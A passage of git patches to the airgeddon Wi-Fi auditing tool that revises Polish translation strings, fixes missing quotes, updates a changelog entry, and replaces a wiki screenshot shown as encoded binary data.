una grande lunghezza della chiave, il processo potrebbe richiedere molto tempo" - arr["POLISH",208]="${pending_of_translation} Jeśli wybierzesz duży zestaw znaków i dużą długość klucza, proces może potrwać długi czas" + arr["POLISH",208]="Jeśli wybierzesz duży zestaw znaków i dużą długość klucza, proces może potrwać bardzo długo" arr["ENGLISH",209]="The charset to use is : [${normal_color}${showcharset}${blue_color}]" arr["SPANISH",209]="El juego de caracteres elegido es : [${normal_color}${showcharset}${blue_color}]" @@ -2568,7 +2568,7 @@ function language_strings() { arr["RUSSIAN",209]="Символы для использования : [${normal_color}${showcharset}${blue_color}]" arr["GREEK",209]="Η συμβολοσειρά που θα χρησιμοποιηθεί είναι : [${normal_color}${showcharset}${blue_color}]" arr["ITALIAN",209]="Il set di caratteri scelto è : [${normal_color}${showcharset}${blue_color}]" - arr["POLISH",209]="${pending_of_translation} Wybrany zestaw znaków to : [${normal_color}${showcharset}${blue_color}]" + arr["POLISH",209]="Wybrany zestaw znaków to : [${normal_color}${showcharset}${blue_color}]" arr["ENGLISH",210]="The script will check for internet access looking for a newer version. Please be patient..." arr["SPANISH",210]="El script va a comprobar si tienes acceso a internet para ver si existe una nueva versión. Por favor ten paciencia..." @@ -2578,7 +2578,7 @@ function language_strings() { arr["RUSSIAN",210]="Скрипт проверит доступ в Интернет для поиска новой версии. Подождите немного..." arr["GREEK",210]="Το script θα ελέγξει αν έχετε πρόσβαση στο διαδίκτυο και έπειτα για νεότερη έκδοση. Παρακαλώ κάντε υπομονή..." arr["ITALIAN",210]="Lo script controllerà se si ha accesso a internet per vedere se c'è una nuova versione. Si prega di essere pazienti..." - arr["POLISH",210]="${pending_of_translation} Skrypt sprawdzi, czy masz dostęp do internetu, czy jest nowa wersja. Bądźcie cierpliwi..." + arr["POLISH",210]="$ Skrypt sprawdzi, czy masz dostęp do internetu i czy jest nowa wersja. Cierpliwości..." arr["ENGLISH",211]="It seems you have no internet access. The script can't connect to repository. It will continue without updating..." arr["SPANISH",211]="Parece que no tienes conexión a internet. El script no puede conectar al repositorio. Continuará sin actualizarse..." @@ -2588,7 +2588,7 @@ function language_strings() { arr["RUSSIAN",211]="Кажется, у вас нет доступа в Интернет. Скрипт не может подключится к репозиторию. Он продолжит без обновления..." arr["GREEK",211]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο. Το script δεν μπορεί να συνδεθεί στο αποθετήριο. Θα συνεχίσει χωρίς να έχει ενημερωθεί..." arr["ITALIAN",211]="Sembra che tu non abbia alcuna connessione a internet. Lo script non riesce a connettersi al repository. Continuerà senza aggiornarsi..." - arr["POLISH",211]="${pending_of_translation} Wygląda na to, że nie masz połączenia internet. Skrypt nie może połączyć się z repozytorium. Będzie kontynuowane bez aktualizacji..." + arr["POLISH",211]="Wygląda na to, że nie masz połączenia z internetem. Skrypt nie może połączyć się z repozytorium. Kontynuacja bez aktualizacji..." arr["ENGLISH",212]="The script is already in the latest version. It doesn't need to be updated" arr["SPANISH",212]="El script ya está en la última versión. No necesita ser actualizado" @@ -2598,7 +2598,7 @@ function language_strings() { arr["RUSSIAN",212]="Скрипт уже последней версии, обновление не требуется" arr["GREEK",212]="Το script είναι ήδη στην τελευταία έκδοση. Δεν χρειάζεται να ενημερωθεί" arr["ITALIAN",212]="Lo script è già alla sua ultima versione. Non c'è bisogno di aggiornamenti" - arr["POLISH",212]="${pending_of_translation} Skrypt jest już w najnowszej wersji. Nie ma potrzeby aktualizacji" + arr["POLISH",212]="Skrypt jest już w najnowszej wersji. Nie ma potrzeby aktualizacji" arr["ENGLISH",213]="A new version of the script exists (v${airgeddon_last_version}). It will be downloaded" arr["SPANISH",213]="Existe una nueva versión del script (v${airgeddon_last_version}). Será descargada" @@ -2608,7 +2608,7 @@ function language_strings() { arr["RUSSIAN",213]="Существует новая версия скрипта (v${airgeddon_last_version}). Она будет загружена" arr["GREEK",213]="Υπάρχει νεότερη έκδοση του script (v${airgeddon_last_version}). Θα κατέβει" arr["ITALIAN",213]="Esiste una nuova versione dello script (v${airgeddon_last_version}). Sarà scaricata" - arr["POLISH",213]="${pending_of_translation} Jest nowa wersja skryptu (v${airgeddon_last_version}). Zostanie pobrana" + arr["POLISH",213]="Jest nowa wersja skryptu (v${airgeddon_last_version}). Zostanie ona pobrana" arr["ENGLISH",214]="The new version was successfully downloaded. The script will be launched again" arr["SPANISH",214]="La nueva versión se ha descargado con éxito. El script se lanzará de nuevo" @@ -2618,7 +2618,7 @@ function language_strings() { arr["RUSSIAN",214]="Новая версия успешно загружена. Скрипт будет перезапущен" arr["GREEK",214]="Η νεότερη έκδοση κατέβηκε επιτυχώς. Το script θα επανεκκινηθεί" arr["ITALIAN",214]="La nuova versione è stata scaricata con successo. Lo script sarà lanciato di nuovo" - arr["POLISH",214]="${pending_of_translation} Nowa wersja została pobrana pomyślnie. Skrypt zostanie uruchomiony ponownie" + arr["POLISH",214]="Nowa wersja została pobrana pomyślnie. Skrypt zostanie uruchomiony ponownie" arr["ENGLISH",215]="WPA/WPA2 passwords always has 8 as a minimum length" arr["SPANISH",215]="Una contraseña WPA/WPA2 siempre tiene como mínimo una longitud de 8" @@ -2628,7 +2628,7 @@ function language_strings() { arr["RUSSIAN",215]="WPA/WPA2 пароли всегда имеют длину минимум в 8 символов" arr["GREEK",215]="οι κωδικοί πρόσβασης WPA/WPA2 έχουν πάντα ελάχιστο μήκος 8" arr["ITALIAN",215]="Una password WPA/WPA2 è sempre lunga almeno 8 caratteri" - arr["POLISH",215]="${pending_of_translation} Hasło WPA/WPA2 zawsze wynosi co najmniej 8" + arr["POLISH",215]="Hasło WPA/WPA2 ma zawsze długość co najmniej 8 znaków" arr["ENGLISH",216]="No networks found with Handshake captured on the selected file" arr["SPANISH",216]="No se encontraron redes con Handshake capturado en el fichero seleccionado" From 9f34ed96288dd05e0ed5a7580de911d8fe73d594 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 23 Nov 2017 10:31:55 +0100 Subject: [PATCH 63/70] Fixed some quotes problem on language strings file --- language_strings.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 54ba4802c..862abadb5 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171113 +#Date.........: 20171123 #Bash Version.: 4.2 or later #Set language_strings file version @@ -1248,7 +1248,7 @@ function language_strings() { arr["RUSSIAN",77]="Был выбран недействительный интерфейс" arr["GREEK",77]="Επιλέχθηκε άκυρη διεπαφή" arr["ITALIAN",77]="Interfaccia non valida" - arr["POLISH",77]=Nieprawidłowy interfejs" + arr["POLISH",77]="Nieprawidłowy interfejs" arr["ENGLISH",78]="1. Change language" arr["SPANISH",78]="1. Cambiar idioma" @@ -2168,7 +2168,7 @@ function language_strings() { arr["RUSSIAN",169]="6. Меню офлайн расшифровки WPA/WPA2" arr["GREEK",169]="6. Μενού offline αποκρυπτογράφησης WPA/WPA2" arr["ITALIAN",169]="6. Menù per decifrare WPA/WPA2 offline" - arr["POLISH",169]=6. Menu deszyfrowania WPA/WPA2 offline" + arr["POLISH",169]="6. Menu deszyfrowania WPA/WPA2 offline" arr["ENGLISH",170]="Offline WPA/WPA2 decrypt menu" arr["SPANISH",170]="Menú de desencriptado WPA/WPA2 offline" From 89585b6667d1420e5bef7b47d2a8c207a0cb7801 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 23 Nov 2017 10:33:37 +0100 Subject: [PATCH 64/70] Tested compatibility with Kali 2017.3 --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ab25f7153..8b95b7cf4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,7 @@ - Fixed error message on offline Arcadyan PIN algorithm calculation - Polish language translation added (Thank you to "dodg3rmaq") - Added "DoS pursuit mode" on DoS attacks (including DoS used on Evil Twin attacks) to avoid AP channel hopping - - Tested compatibility with Parrot 3.9 and BlackArch 2017.08.30 + - Tested compatibility with Parrot 3.9, BlackArch 2017.08.30 and Kali 2017.3 ### 7.22 - Fixed error caused by Bettercap. Bug: https://github.com/evilsocket/bettercap/issues/356 From 8cbfad05e71667d2c0f4e8ee6015621ca7e4ccdd Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 24 Nov 2017 07:53:10 +0100 Subject: [PATCH 65/70] Updated wiki wps menu screenshot --- imgs/wiki/airgeddon_scrs6.png | Bin 90737 -> 63060 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/imgs/wiki/airgeddon_scrs6.png b/imgs/wiki/airgeddon_scrs6.png index c6e8bc9e9c5a586faddd4d1c46a6cdd441ab5aec..0e34d51a791cf7050b1ba4238f914816f6db7020 100644 GIT binary patch literal 63060 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 